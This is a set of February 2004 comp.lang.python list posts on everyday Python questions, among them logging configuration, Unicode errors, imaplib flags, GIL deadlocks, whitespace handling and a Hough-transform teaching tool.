From mathias.foehr at mails.lu  Thu Feb  5 16:36:36 2004
From: mathias.foehr at mails.lu (mathias)
Date: 5 Feb 2004 13:36:36 -0800
Subject: Custom operator
Message-ID: <2066c50.0402051336.1e8e7ee4@posting.google.com>

I would like to define a custom operator in Python. 
(It is not about overloading an existing operator but about 
defining special new operators)

Is this possible without deeply manipulating the Python code? 

Are side-effects to be expected?

What about operator precedence? 

Can one define an operator to be right- or left -associative?

mathias


From lbates at swamisoft.com  Fri Feb 13 10:56:17 2004
From: lbates at swamisoft.com (Larry Bates)
Date: Fri, 13 Feb 2004 09:56:17 -0600
Subject: Multiply a tuple by a constant
References: <1d17eeb7.0402130220.7258a5bd@posting.google.com>
Message-ID: <U8Cdne37Odk8brHd4p2dnA@comcast.com>

two ways:

t=(1,2,3)
newt=tuple(map(lambda x: x*0.5, t))

Note: apparently the map function is slated for deprication
(to be replaced by list comprehension)

List comprehension:

t=(1,2,3)
newt=tuple([x*0.5 for x in t])

-Larry Bates
-----------------------------------------------------------
"Jay Davis" <dj00302003 at yahoo.com> wrote in message
news:1d17eeb7.0402130220.7258a5bd at posting.google.com...
> I often need to multiply a tuple by a
> constant and the methods I use now are
> not very pretty.  The idea is to get a
> new tuple that is some factor times the
> start tuple, like  'newtup = .5 * oldtup'.
>
> Is there a slick way to do this?




From jjl at pobox.com  Fri Feb  6 19:29:05 2004
From: jjl at pobox.com (John J. Lee)
Date: 07 Feb 2004 00:29:05 +0000
Subject: Simple web proxy - help needed
References: <c335e460.0401310918.49361638@posting.google.com>
	<87ad43kgn6.fsf@pobox.com>
	<c335e460.0402020248.2576d886@posting.google.com>
Message-ID: <87brobivfy.fsf@pobox.com>

forshtat at hotmail.com (Ziv Forshtat) writes:

> jjl at pobox.com (John J. Lee) wrote in message news:<87ad43kgn6.fsf at pobox.com>...
[...]
> > Back again... just remembered I posted a tiny MSIE plugin skeleton to
> > the ctypes list a while back.  That might actually be very close to
> > what you need already.  Use the latest version of ctypes.
[...]
> Hi John,
> Thanks for your reply - it really seems like this could work for me,
> but I was unable to locate the posting that you mention here.
> Could you please be so kind as to send me a pointer?

Sorry for the long delay...

Here it is:

http://aspn.activestate.com/ASPN/Mail/Message/ctypes-users/1967868

(make sure to use the newest release of ctypes: there are several bugs
fixed that would otherwise break this script, including the one
described in that message)


John


From Robert.Schmitt at cellzome.com  Fri Feb 20 09:25:24 2004
From: Robert.Schmitt at cellzome.com (Robert.Schmitt at cellzome.com)
Date: Fri, 20 Feb 2004 15:25:24 +0100
Subject: logging package problems
Message-ID: <OFEDD70DCD.9FDBC239-ONC1256E40.004F2D4E-C1256E40.004F43ED@cellzome.de>

I found that the configuration system of the new logging package of Python 
2.3 has some 
unintuitive idiosyncracies that are worth mentioning because they can cost 
you quite some 
development time and are not documented elsewhere.

I used the logging configuration file shown below. My aim was to log only 
the INFO messages,
but log DEBUG messages for one particular module (called webTestLogin.py).

Here's what I found out:
- if your init logging in your module with the line
        log = logging.getLogger()
  then the logging module will determine the module where the call 
originated and in your log files
  you'll find lines like
        2004-01-26 11:21:15,890 [INFO] creating ticket for this session 
[in webtestlogin]
  where webTestLogin mysteriously lost its capitalization. Now, this does 
*not* mean that
  webtestlogin will also be the 'qualname', i.e. the name of a channel 
that you can use
  to log messages from this module to a different place or in a different 
manner; for that
  to work, you'll need the following line of code:
        log = logging.getLogger('webtestlogin')
  (making 'webtestlogin' a channel, or some sort of logical logging unit 
that allow its calls to be handled
  differently from the other log calls in your program).
  The documentation says qualname is the 'fully qualified name', but 
doesn't contend on what
  that is; I tried the complete package name, that didn't work 
('com.cellzome.pandora.webTestLogin').
- capitalization *is* very important; if you use lowercase in the code, 
you'll need lowercase
  in the logging config file as well (see the qualname line below)
- 'propagate' forwards log messages to other loggers, so you may e.g. log 
the same line to
  two different places - so far so good. But: If you set propagate to 1 in 
the [logger_webtestlogin]
  shown below, the root logger will log DEBUG messages too, even though it 
was told to log
  only INFO - just because the message has been forwarded (?!?)
  Generally I think that propagation follows the order of the loggers, but 
I still don't get the
  complete picture.
- the config file scanner/parser is not very robust; if you use spaces in 
a list for aesthetic reasons
  (e.g. keys=root, webtestlogin) the key list will be ('root', ' 
webtestlogin'). This can produce
  quite esoteric errors :-)

Maybe I didn't get the point/purpose of the framework on some of those 
issues, but
then again it might be worth to extend the existing documentation a bit.

Cheers,

Robert F Schmitt, Cellzome AG
Meyerhofstr. 1, D-69117 Heidelberg, Germany
Tel + 49 6221 137 57 405, Fax + 49 6221 137 57 202
www.cellzome.de
------------------------------------------------------------------------------------
The vast majority of our imports come from outside the country."
- George W. Bush

"If we don't succeed, we run the risk of failure."
- George W. Bush

///////////////////////////////////////////////////////////////////
///////////////           config file             ///////////////
///////////////////////////////////////////////////////////////////

###########################################################
# general references

[loggers]
keys=root,webtestlogin

[handlers]
keys=drogenHandler,stdoutHandler

[formatters]
keys=taschenFormat,textOnlyFormat

###########################################################
# loggers

[logger_webtestlogin]
level=DEBUG
handlers=drogenHandler,stdoutHandler
propagate=0
qualname=webtestlogin

[logger_root]
level=INFO
handlers=drogenHandler,stdoutHandler
propagate=1

###########################################################
# handlers

[handler_drogenHandler]
class=FileHandler
level=NOTSET
formatter=taschenFormat
args=('pandora.log', 'w')

[handler_stdoutHandler]
class=StreamHandler
level=INFO
formatter=textOnlyFormat
args=(sys.stdout,)

###########################################################
# formatters

[formatter_taschenFormat]
format=%(asctime)s [%(levelname)s] %(message)s [in %(module)s]

[formatter_textOnlyFormat]
format=%(levelname)s %(message)s


ForwardSourceID:NT00006DEE 
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From simonb at NOTTHISBIT.webone.com.au  Sat Feb 14 05:00:45 2004
From: simonb at NOTTHISBIT.webone.com.au (Simon Burton)
Date: Sat, 14 Feb 2004 21:00:45 +1100
Subject: PyEval_AcquireLock deadlock mystery
Message-ID: <pan.2004.02.14.10.00.38.292492@NOTTHISBIT.webone.com.au>


AFAICT I am trying to get the GIL
from a thread created outside of python, but a deadlock ensues.

I have tried python 2.2 and 2.3. I am running this on Linux, and have
verified, using a backtrace, that it is the child thread calling
PyEval_AcquireLock. PyGILState_Ensure also deadlocks.

The child thread is created by an audio library (portaudio) to run a callback.

I have written my own test of the basic locking mechanism using
pthread_create, and it all works fine (see below).

I have been using pyrex for all this, re-writing a c coded extension
which works fine with the portaudio thread.

So, I am flumoxed.

What debugging techniques should I now persue ?

Here is the test script:

#################################################

cdef void *start_routine( void * arg ):
  PyEval_AcquireLock()
  PyThreadState_Swap(ts)
  print "I'm in python now!"
  PyThreadState_Swap(NULL)
  PyEval_ReleaseLock()

cdef pthread_t pth

from time import sleep
PyEval_InitThreads()

cdef PyThreadState * mts
cdef PyThreadState * ts
mts = PyThreadState_Get()
if mts == NULL:
  raise Error, "PyThreadState_Get: failed"
ts = PyThreadState_New(mts.interp)
if ts == NULL:
  raise Error, "PyThreadState_New: failed"

#start_routine(NULL) # deadlock
sleep(1)
# create our own thread instead of using portaudio's thread
pthread_create( &pth, NULL, start_routine, NULL )
sleep(1)

#############################################


Simon.


-- 
Simon Burton, B.Sc.
Licensed PO Box 8066
ANU Canberra 2601
Australia
Ph. 61 02 6249 6940
http://arrowtheory.com 



From martin at v.loewis.de  Mon Feb  9 17:16:04 2004
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Mon, 09 Feb 2004 23:16:04 +0100
Subject: Allowing non-ASCII identifiers
In-Reply-To: <4027EAC5.2090603@prescod.net>
References: <uFQVb.58$%X3.42@nwrddc01.gnilink.net>
	<4027EAC5.2090603@prescod.net>
Message-ID: <402806A4.6020502@v.loewis.de>

Paul Prescod wrote:
> I wonder if the proposal would be more palatable if it were restricted 
> to 8-bit encodings (what we used to call "code pages"). This is at least 
> a first step in the right direction that would help westerners and could 
> be made to work even if Python were compiled without Unicode support. 
> (it is still possible to compile Python without Unicode isn't it?)

I doubt that it would matter much to those currently opposed; I know
that *I* would be opposed to such a strategy: Allowing arbitrary source
code encoding is no technical challenge whatsoever, and restricting
it to single-byte encodings is an arbitrary restriction.

I believe Guido's concern is more along the lines "How do I call a 
function that has a ? in its name, or a ??", or, even, "How can I
find out what the function does, by looking at its name and doc
string, if that is in Polish or Greek?" The fact that there is
a single-byte encoding for either character doesn't really help
here.

So this is about social issues, coding policies, guidelines, etc -
not about technical issues.

Regards,
Martin




From sdb1031 at hotmail.com  Thu Feb  5 21:32:04 2004
From: sdb1031 at hotmail.com (Steve Briley)
Date: Thu, 05 Feb 2004 21:32:04 -0500
Subject: Microsoft Access datatype mismatch error
Message-ID: <Law9-F72hphxivGHBox0002b8be@hotmail.com>

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From carroll at tjc.com  Mon Feb  2 13:26:13 2004
From: carroll at tjc.com (Terry Carroll)
Date: Mon, 02 Feb 2004 18:26:13 GMT
Subject: Python vs. Io
References: <711c7390.0401291301.3f95794@posting.google.com>	<D6wSb.6538$qU3.576425@news20.bellglobal.com>	<711c7390.0401301726.3e38da27@posting.google.com>	<mailman.1078.1075571238.12720.python-list@python.org>
	<711c7390.0401311808.3914a94b@posting.google.com>
	<mailman.1110.1075672228.12720.python-list@python.org>
Message-ID: <nf5t10dkcj8562rvv99o9vjevgppt7q5o7@4ax.com>

On Sun, 01 Feb 2004 13:47:20 -0800, Paul Prescod <paul at prescod.net> wrote:

>First, if I had invented Python I would not have bothered to buck the 
>trend of using curly braces. Hardly anyone chooses Python because of 
>that feature and some are turned off by it.

I have to admit that the indentation feature turned me off at first, but
having used Python for a while now, I find that method superior to the
curly braces approach.  Much more DWIM.


From tjreedy at udel.edu  Sun Feb 29 16:21:04 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 29 Feb 2004 16:21:04 -0500
Subject: Best way to create a Dictionary from file of Key-Value pairs?
References: <692feddd.0402291222.6f2d619e@posting.google.com>
Message-ID: <c1tl3u$ljl$1@sea.gmane.org>


"Equis Uno" <ir4u4 at yahoo.com> wrote in message
news:692feddd.0402291222.6f2d619e at posting.google.com...
> Hi,
>
> Assume I'm given a 100k file full of key-value pairs:
>
> date,value
> 26-Feb-04,36.47
> 25-Feb-04,36.43
> 24-Feb-04,36.30
> 23-Feb-04,37.00
> 20-Feb-04,37.00
> 19-Feb-04,37.87
>
> What is the best way to copy this data into a Dictionary object?

If you really have one value for each of numerous sequential dates, you
might be better off putting values in list that is attribute of class also
with start and stop date attributes.

TJR






From michael at foord.net  Mon Feb 23 03:45:52 2004
From: michael at foord.net (Fuzzyman)
Date: 23 Feb 2004 00:45:52 -0800
Subject: Problems With Accented Characters
References: <8089854e.0402221547.2f6cf5f7@posting.google.com>
Message-ID: <8089854e.0402230045.5977d979@posting.google.com>

michael at foord.net (Fuzzyman) wrote in message news:<8089854e.0402221547.2f6cf5f7 at posting.google.com>...
> I've written an anagram finder that produces anagrams from a
> dictionary of words. The user can load their own dictionary.
> 
> ( http://www.voidspace.org.uk/atlantibots/nanagram.html )
> 
> In order to ensure it is able to  find anagrams properly I wanted to
> strip characters like punctuation etc from words in the dictionary and
> words the user entered. I test(ed) against the 26 English letters (
> string.ascii_lowercase ).
> 
> I now have someone who wants to use a French dictionary - with words
> containing accented characters !! I have two choices - either map the
> accented characters to their unaccented equivalent (slightly
> innacurate) or treat the accented charcters as a separate letter (very
> few anagrams). However - at the moment I can't experiment with either
> because my default codec is the 7-bit ascii and crashes (sometimes !!)
> when using the accented characters.
> 


It's particularly difficult for me to understand what is happening -
because python's behaviour *seems* intermittent.

For example - if I run my program from IDLE and give it the word
'degr?' (containing e-acute) then I get the error :

Exception in Tkinter callback
Traceback (most recent call last):
[snip..]
  File "D:\Python Projects\Nanagram1.3\Nanagram-GUI.pyw", line 123, in
prepare
    if letter in self.valid_letters:
UnicodeDecodeError: 'ascii' codec can't decode byte 0x83 in position
26: ordinal not in range(128)
Traceback (most recent call last):

It is testing each character of the users input to remove invalid
characters (like "-" and "'")...  It crashes when it comes tot he
e-acute.


*However* - If I run it by double clicking on the file then it appears
to work fine (e.g. if I ask it find anagrams of 'degr? hello ma' then
it strips out the e-acute (thinking it's an invalid character) and
finds anagrams of the rest :

gleam	holder
hallo	merged

What I'd like to do is switch by default to an 8 bit codec (latin-1 I
think ?????) and then offer the user the choice of either mapping the
accented characters to their nearest equivalent (e-acute to e for
example) *or* treating them as seperate characters.............


Anyone able to help ??



Fuzzy



> Has anyone any advice - or can point me to any resources - for
> effectively handling these characters. I guess it's a latin-1 encoding
> I want to use... I can't even work out how to cahnge the default
> codec........
> 
> Thanks,
> 
> Fuzzy
> 
> http://www.voidspace.org.uk/atlantibots/pythonutils.html


From martin at v.loewis.de  Sat Feb  7 03:12:05 2004
From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Sat, 07 Feb 2004 09:12:05 +0100
Subject: like mod_python but in the kernel????
In-Reply-To: <Xns94879227F9FD0JanC@213.119.4.35>
References: <mailman.1243.1075996089.12720.python-list@python.org>
	<bvve2l$vp2$06$1@news.t-online.com>
	<Xns94879227F9FD0JanC@213.119.4.35>
Message-ID: <c026kd$hdv$04$1@news.t-online.com>

JanC wrote:

> Then embed Python in the shell instead of in the kernel...  ;-)

That would work. Alternatively, you could make /usr/bin/python
your login shell, in the first place.

Regards,
Martin



From OlafMeding at noSpam.compuserve.com  Tue Feb  3 20:44:21 2004
From: OlafMeding at noSpam.compuserve.com (Olaf Meding)
Date: Tue, 3 Feb 2004 19:44:21 -0600
Subject: HappyDoc Error
Message-ID: <40204d36$1_3@newspeer2.tds.net>

Does someone know what the error below could mean?

Skiping unrecognized file somefile.py with mimetype application/x-function

Thank you for your replay.

Olaf




From llothar at web.de  Sun Feb  8 11:23:39 2004
From: llothar at web.de (Lothar Scholz)
Date: 8 Feb 2004 08:23:39 -0800
Subject: software design question
References: <c02ku4$8e0$1@news.rz.uni-karlsruhe.de>
	<c03ebl$av7$1@news.service.uci.edu>
	<c03g1u$mtu$1@news.rz.uni-karlsruhe.de>
	<L5cVb.14719$ZN1.775584@news20.bellglobal.com>
	<c03rii$c2t$1@news.rz.uni-karlsruhe.de>
Message-ID: <6ee58e07.0402080823.75df2850@posting.google.com>

Uwe Mayer <merkosh at hadiko.de> wrote in message news:<c03rii$c2t$1 at news.rz.uni-karlsruhe.de>...
> Pierre Rouleau wrote:
> >> So the question is rather: how to make a better design?
> > 
> > Why not look at the GUI as a "presentation layer" that provides access
> > to the program functionality, like file I/O, help access, etc.  Then the
> > file I/O, help, (etc...) can be written without any knowledge to the GUI
> > (and therefore testable from a python shell or a testing script) and the
> > Gui code just call the File I/O, help functions or members.  If you need
> >   callbacks, then provide callbacks.   This way you would decouple the
> > GUI from the system functionality.  Only GUI code would import the other
> > modules.  The File I/O, help (etc...) would not know anything about the
> > GUI implementation requirements.
> 
> I've already got separate modules for non-GUI related functionalities, i.e.
> accessing record based file formats, etc. These are imported by the module
> that currently covers "Open", "Save", "Save As", "Properties", "New" (in
> the File menu).
> This alone spans 442 lines (including comments and empty lines), containing
> only dialog interaction and calls to the previously mentioned file-module. 
> 
> Is 500 lines a good count to start splitting up the code?

No !
My modules are normally between 1000-3000 lines. Having to much files
(worst case scenario is PHP) is just another form of spaghetti code.
With so small files you should focus on the task that needs to be done
and only if you really do two different things in one module you
should decide to split it. Maybe a merge would help you more then
splitting.


From FBatista at uniFON.com.ar  Tue Feb 10 08:21:54 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Tue, 10 Feb 2004 10:21:54 -0300
Subject: Python style advice
Message-ID: <A128D751272CD411BC9200508BC2194D033835D2@escpl.tcp.com.ar>

Nick Craig-Wood wrote:

#- This is very similar to the python statement
#- 
#-     a, b, c = array
#- 
#- BUT, the Python will throw an exception if array isn't exactly 3
#- elements long, wheras the Perl will work for any length of @array,
#- either throwing away excess elements or setting the variables to

What is an array?

If you mean a list, list are encouraged to be used when you're not certain
of the length of the array, when the length has no meaning by itself (for
example, the files in a directory).

In this case, that asignment has no future. You don't want a special name
for the first element of the list, and other different name for the second
one.

Otherwise, if with array you mean a tuple, tuple are encouraged to be used
when its length and element positions are meaningful (for example, the
position of a point in space, (x,y,z)).

In this case, that asignment is ok: with the example of the point, it's ok
to do "(x,y,z) = pointInSpace". But in this case, you'll *always* have three
elements. Not two or four, three.

Disclaimer: the differences about mutability don't apply here.

.	Facundo



From tjreedy at udel.edu  Fri Feb  6 14:36:30 2004
From: tjreedy at udel.edu (Terry Reedy)
Date: Fri, 6 Feb 2004 14:36:30 -0500
Subject: hide sourcecode
References: <84fc4588.0402052351.5fc254ae@posting.google.com>
	<005a01c3ec89$b10eaeb0$0000fea9@simonxp>
Message-ID: <c00qbu$j3m$1@sea.gmane.org>


"Simon Wittber" <drconrad at metaplay.com.au> wrote in message
news:005a01c3ec89$b10eaeb0$0000fea9 at simonxp...
> Anand wrote:
> >Python is an 'open source' language so I advise you to share your
> source code with us :-)

This was preceded by "In a lighter vein, why do you want to hide your
python source code?".

> Python is open-source, true. However that does not mean programs written
> in Python must be open-sourced. Maybe I am having a bad day,

I think so.

> but I read your comment as a mob/peer pressure tactic,

Come now.  One person's opinion, written 'in a lighter vein' and concluded
with ':-)' is hardly mob pressure, and not even much peer pressure.

In any case, there are a couple of relevant and related points contained in
'Python is open-source'.

On the one hand, Guido intentionally did not GPL Python or put any but the
most obvious and sensible restrictions on its use.  In particular, one can
do the following that GPL prohibits: modify the compile and eval functions
to use a different set of op codes and distribute apps using the modified
interpreter without making the source of the modified interpreter
available.  (This is not absolute security, but it does make disassembly of
application runtime code harder.)

On the other hand, Guido and the developers, as Python developers,
generally prefer that Python code be potentially and actually shared.  So
they are under no obligation and are disinclined to do anything to make
non-sharing easier, not withstanding whatever they may have to do privately
to feed themselves and their families.

Terry J. Reedy






From no at sp.am  Tue Feb 17 22:24:12 2004
From: no at sp.am (DH)
Date: Tue, 17 Feb 2004 21:24:12 -0600
Subject: Creating Self Extracting Zip using Python
In-Reply-To: <40323853.1704B48@engcorp.com>
References: <c0qc5j$2g52$1@news.hgc.com.hk>
	<c0r3k0$qo1$1@news3.tilbu1.nb.home.nl>
	<c0tdvf$rnt$1@news.hgc.com.hk> <40323853.1704B48@engcorp.com>
Message-ID: <adednY5lv5NHR6_dRVn-vw@comcast.com>

Peter Hansen wrote:

> Calvin FONG wrote:
> 
>>By the way, what does HTH stands for?
> 
> 
> Google is your friend, as usual. :-)
> 
> http://www.google.ca/search?q=acronym+hth

TANSTASQ

I know people get their rocks off here patronizing newbies, but how 
about pointing them to the tutor list instead?


From t-meyer at ihug.co.nz  Tue Feb 10 16:54:03 2004
From: t-meyer at ihug.co.nz (Tony Meyer)
Date: Wed, 11 Feb 2004 10:54:03 +1300
Subject: setting email FLAGs in IMAP4 box
In-Reply-To: <1ED4ECF91CDED24C8D012BCF2B034F1304FC4122@its-xchg4.massey.ac.nz>
Message-ID: <1ED4ECF91CDED24C8D012BCF2B034F13026F2AA4@its-xchg4.massey.ac.nz>

>      imap = imaplib.IMAP4("hostname")
>      imap.login("name","passwd")
>      imap.select("INBOX",1)
>      imap.store(1, 'FLAGS', '(\Deleted)')

You're selecting the INBOX folder as read-only, which means that you can't
write any changes, including flags, to it.  Doing this:

>>> import imaplib
>>> imap = imaplib.IMAP4("hostname")
>>> imap.login("name","passwd")
>>> imap.select("INBOX") # read-only defaults to False
>>> imap.store(1, 'FLAGS', '(\Deleted)')

Works fine for me, and should for you.

=Tony Meyer




From fumanchu at amor.org  Mon Feb 23 12:37:10 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Mon, 23 Feb 2004 09:37:10 -0800
Subject: How can i get the parameternames of a non documented function ?
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D94@opus.amorhq.net>

Martin wrote:
> I import a module (wrapped from c code) and have no documentation of
> it. How can i find out the name of the parameters / head of the
> functions ?

An example:

>>> import parser
>>> dir(parser)
['ASTType', 'ParserError', 'STType', '__copyright__', '__doc__',
'__file__', '__name__', '__version__', '_pickler', 'ast2list',
'ast2tuple', 'compileast', 'compilest', 'expr', 'isexpr', 'issuite',
'sequence2ast', 'sequence2st', 'st2list', 'st2tuple', 'suite',
'tuple2ast', 'tuple2st']


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From RobMEmmons at cs.com  Sun Feb 29 21:22:47 2004
From: RobMEmmons at cs.com (Robert M. Emmons)
Date: Sun, 29 Feb 2004 20:22:47 -0600
Subject: Why Python?
In-Reply-To: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6>
References: <Xns949ECD7289AD6Todd7Nospampleasecom@68.12.19.6>
Message-ID: <1045c7gfn9ipj38@corp.supernews.com>

> I am looking at learning Python, but I would like to know what its 
> strengths and weaknesses are before I invest much time in learning it.  

All of the other answers above are good.  I would say the followng:

*  Python is easy to learn.  I learned it in an afternoon -- that's an 
experienced programmer.  It's ideal for a beginner as well.
*  Good cross platform support both windows and linux.  Never re-write 
code again.  Also writes very fast to begin with--good RAD tool.
*  To write just about anything all you need to know is python, C/C++, 
and a little JavaScript if you want to make web pages.  That's it. 
Python has a huge application range--small scripts, full up 
applications, cgi scripting for the web.  You can even integrate it with 
the Mozilla platform for local cgi like functions.

What's not good in python:

*  If speed is more important than coding time use C/C++ instead.
*  If you want to obscruate your code maybe a compiled langague is better.

Rob


From mwh at python.net  Thu Feb  5 07:30:58 2004
From: mwh at python.net (Michael Hudson)
Date: Thu, 5 Feb 2004 12:30:58 GMT
Subject: More verbose traceback
References: <pan.2004.02.03.12.19.28.751005@thomas-guettler.de>
	<m3fzdsbbeo.fsf@pc150.maths.bris.ac.uk>
	<698f09f8.0402031237.56f122dc@posting.google.com>
Message-ID: <m3k731aet9.fsf@pc150.maths.bris.ac.uk>

tweedgeezer at hotmail.com (Jeremy Fincher) writes:

> Michael Hudson <mwh at python.net> wrote in message news:<m3fzdsbbeo.fsf at pc150.maths.bris.ac.uk>... 
> > I believe there's a patch on SF (to cgitb) that does this.
> > 
> > Cheers,
> > mwh
> 
> I'm pretty sure this was integrated into 2.3; cgitb has a text function, at least.

Ah, OK.  I recall some discussion about how the patch wasn't really
The Right Thing(tm), but noone had the time do The Right Thing(tm) and
whether it should just be checked in anyway but not the outcome.
Looks like it went in.

Cheers,
mwh

-- 
  I also fondly recall Paris because that's where I learned to
  debug Zetalisp while drunk.                          -- Olin Shivers


From fumanchu at amor.org  Wed Feb 18 11:42:43 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Wed, 18 Feb 2004 08:42:43 -0800
Subject: Unit-testing single function with large number of different
	inputs
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D59@opus.amorhq.net>

Edvard Majakari wrote:
> Code I'm working on has to parse large and complex files and detect
> equally complex and large amount of errors before the 
> contents of the file is fed to module interpreting it.
> [snip]
> Thus I came up with the simple idea of adding two directories:
> test/correct-files and test/incorrect-files. Every time the 
> test suite is
> run, it goes through every file in the test/correct-files and
> test/incorrect-files and expects to receive status 0 from all 
> files under
> correct-files, and appropriate error code from all files under
> test/incorrect-files. How does it deduce the correct error code? Well,
> I've forced things to that any file in the test/incorrect-files must
> begin with code prefix 'xx-' in the file name, and the test 
> suite reads
> expected error code from the file name prefix. 

Good idea!

> The system has but one annoyance: first, if I use 
> self.assertEqual in the
> test_load method, it aborts on the first error found and as 
> such doesn't
> test all the other files.
> Any suggestions?

You *are* familiar with assertRaises, aren't you?

>From the 2.3 docs:

assertRaises( exception, callable, ...)
failUnlessRaises( exception, callable, ...)

Test that an exception is raised when callable is called with any
positional or keyword arguments that are also passed to assertRaises().
The test passes if exception is raised, is an error if another exception
is raised, or fails if no exception is raised. To catch any of a group
of exceptions, a tuple containing the exception classes may be passed as
exception.


HTH!

Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From __peter__ at web.de  Wed Feb 18 09:41:08 2004
From: __peter__ at web.de (Peter Otten)
Date: Wed, 18 Feb 2004 15:41:08 +0100
Subject: Hiding/showing Tkinter.Canvas items
References: <mailman.7.1077111057.812.python-list@python.org>
Message-ID: <c0vti5$rb3$07$1@news.t-online.com>

Marc Boeren wrote:

> mycanvas.itemconfigure("highlight", state='hidden')

Easy, once you know it :-)

Thank you!

Peter


From Alexandre.Fayolle at logilab.fr  Tue Feb 17 13:07:34 2004
From: Alexandre.Fayolle at logilab.fr (Alexandre)
Date: Tue, 17 Feb 2004 19:07:34 +0100
Subject: [ANN] pyreverse 0.5
Message-ID: <mailman.1077042067.30331.clpa-moderators@python.org>

I'm pleased to announce the 0.5 release of PyReverse, after a long time
without much development. This is a refactoring release, essentially
to use the same underlying model as PyLint. Please Consider this
release as beta software.

What's new ?
------------
* removed pystats which is now included  in pylint

* rewritten to use logilab.common.astng instead of a custom underlying
  representation

* refactored the diagrams generation and uses

* pyvcg and pystats can now extract a diagram starting from a given class
  and including all parents and associated classes

* simpler filter modes

* slight improvments of unit test generation

* added a bunch of unit tests :)


What's pyreverse ?
------------------
Pyreverse is a set of utilities for Python code reverse engineering. 
It uses a representation of a Python project in a class hierarchy which
can be used to extract information (such as generate UML diagrams or 
unit tests, as provided by pyargo and py2tests)


Home page
---------
http://www.logilab.org/projects/pyreverse

Download
--------
ftp://ftp.logilab.org/pub/pyreverse

You will also need the latest logilab.common module, avaialble at
ftp://ftp.logilab.org/pub/common

Mailing list
------------
http://lists.logilab.org/mailman/listinfo/python-projects

-- 
Alexandre Fayolle                              LOGILAB, Paris (France).
http://www.logilab.com   http://www.logilab.fr  http://www.logilab.org
Advanced computing - Python - Customized trainings - Consulting - XML
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From jepler at unpythonic.net  Mon Feb 23 20:44:13 2004
From: jepler at unpythonic.net (Jeff Epler)
Date: Mon, 23 Feb 2004 19:44:13 -0600
Subject: whitespace within a string
In-Reply-To: <c1e8st$7bn$1@solaris.cc.vt.edu>
References: <c1e8st$7bn$1@solaris.cc.vt.edu>
Message-ID: <20040224014413.GA23109@unpythonic.net>

You can use the magic of no-arg split() to do this:
    def canonize_whitespace(s):
        return " ".join(s.split())

    >>> canonize_whitespace("a  b\t\tc\td\t e")
    'a b c d e'

A regular expression substituion can do the job too
    def canonize_whitespace(s):
        return re.sub('\s+', ' ', s)

    >>> canonize_whitespace("a  b\t\tc\td\t e")
    'a b c d e'
 
Of course, if 'x=y' is accepted just like 'x = y' and 'x   =    y', then
neither of these approaches is good enough.

    def canonize_config_line(s):
        if not '=' in s: return s
        a, b = s.split("=", 1)
        return "%s = %s" % (a.strip(), b.strip())
    >>> [canonize_config_line(s) for s in
    ...        ['x=y', 'x\t=  y', '  x =    y ', "#z"]] 
    ['x = y', 'x = y', 'x = y', '#z']

Jeff



From kbass at midsouth.rr.com  Sat Feb 14 21:53:31 2004
From: kbass at midsouth.rr.com (kbass)
Date: Sun, 15 Feb 2004 02:53:31 GMT
Subject: Python Productivity Gain?
Message-ID: <LaBXb.8774$g95.1612@fe3.columbus.rr.com>

In different articles that I have read, persons have constantly eluded to
the productivity gains of Python. One person stated that Python's
productivity gain was 5 to 10 times over Java in some in some cases. The
strange thing that I have noticed is that there were no examples of this
productivity gain (i.e., projects, programs, etc.,...).  Can someone give me
some real life examples of productivity gains using Python as opposed other
programming languages.

>From my our personal experience, I have been programming with Python for
about 6 months (but I have been programming in other languages for over 10
years) and I have noticed that the more I had gotten use to programming in
Python, the more my programming speed has increased. But ... this is true
with any language that you program in as long as you are learning the
methodologies and concepts of the programming language.  Your thoughts.

Kevin




From ketulp_baroda at yahoo.com  Mon Feb 23 09:51:45 2004
From: ketulp_baroda at yahoo.com (ketulp_baroda at yahoo.com)
Date: 23 Feb 2004 06:51:45 -0800
Subject: content type of the uploaded file
Message-ID: <f046efac.0402230651.44f176d0@posting.google.com>

Hi
I want to determine the content type of uploaded file.
File was uploaded by using <input type=file>.
How can I determine the content type?


From Kyler at news.Lairds.org  Fri Feb 13 10:11:59 2004
From: Kyler at news.Lairds.org (Kyler Laird)
Date: Fri, 13 Feb 2004 15:11:59 GMT
Subject: Python as a teaching (visualization) tool
Message-ID: <c14vf1-386.ln1@jowls.lairds.org>

I've been using Pyrex to get me through the Computer Vision
class I'm taking this semester
	http://shay.ecn.purdue.edu/~ece661/
by dealing with the requirement that all programming
assignments be submitted as C code.  That's worked *very* well
for me and I'm thankful that I don't have to deal with writing
the assignments in C from scratch.  (I am sure that it would
degrade my understanding of the course material.)  Now I've
found another use for Python in this course.

Our lecture yesterday
	http://shay.ecn.purdue.edu/~ece661/ECE661S04LectureNotes/CV10.pdf
was about Hough Transformations.
	http://shay.ecn.purdue.edu/~ece661/ECE661S04Handouts/DudaHart_HoughXform.pdf
There were a lot of questions about how points in image space
appear in parameter space and what a point in parameter space
represents in image space.  I was a little confused and trying
to stay on top of the conversation.  The visualization in my
head was fuzzy.

The instructor made a comment along the lines of "No one ever
shows the sinusoidal curves in papers" and instructed us to go
home and try drawing some.  It struck me that it would be a
*huge* benefit to have tools to help students visualize these
concepts in the classroom.

So I built one.
	http://lairds.us/ECE661/Hough
*Now* I can see how the transform works.  Much better.  (The
parameterization used is for detection of lines.)

What does all of this have to do with Python?  Well, I did build
the little Hough tool using Python (and PIL), but while I was in
class thinking "There's got to be a better way to show this" I
kept thinking in terms of taking advantage of Python's
interactive nature to whip together tools like this in front of
a class.  Numeric, PIL, WxPython, SciPy, GGobi, MayaVi, ... if
an instructor had a basic understanding of some of these tools
and a handy framework for using them, explanations of many 
difficult concepts would come very naturally.

I don't mind building my own tools from rough building blocks,
but I'm going to watch for tools that would be more appropriate
for classroom presentations.  I welcome suggestions.

--kyler


From http  Sun Feb  1 16:17:07 2004
From: http (Paul Rubin)
Date: 01 Feb 2004 13:17:07 -0800
Subject: OT: why do web BBS's and blogs get so slow?
References: <7xbrojk9rk.fsf_-_@ruckus.brouhaha.com>
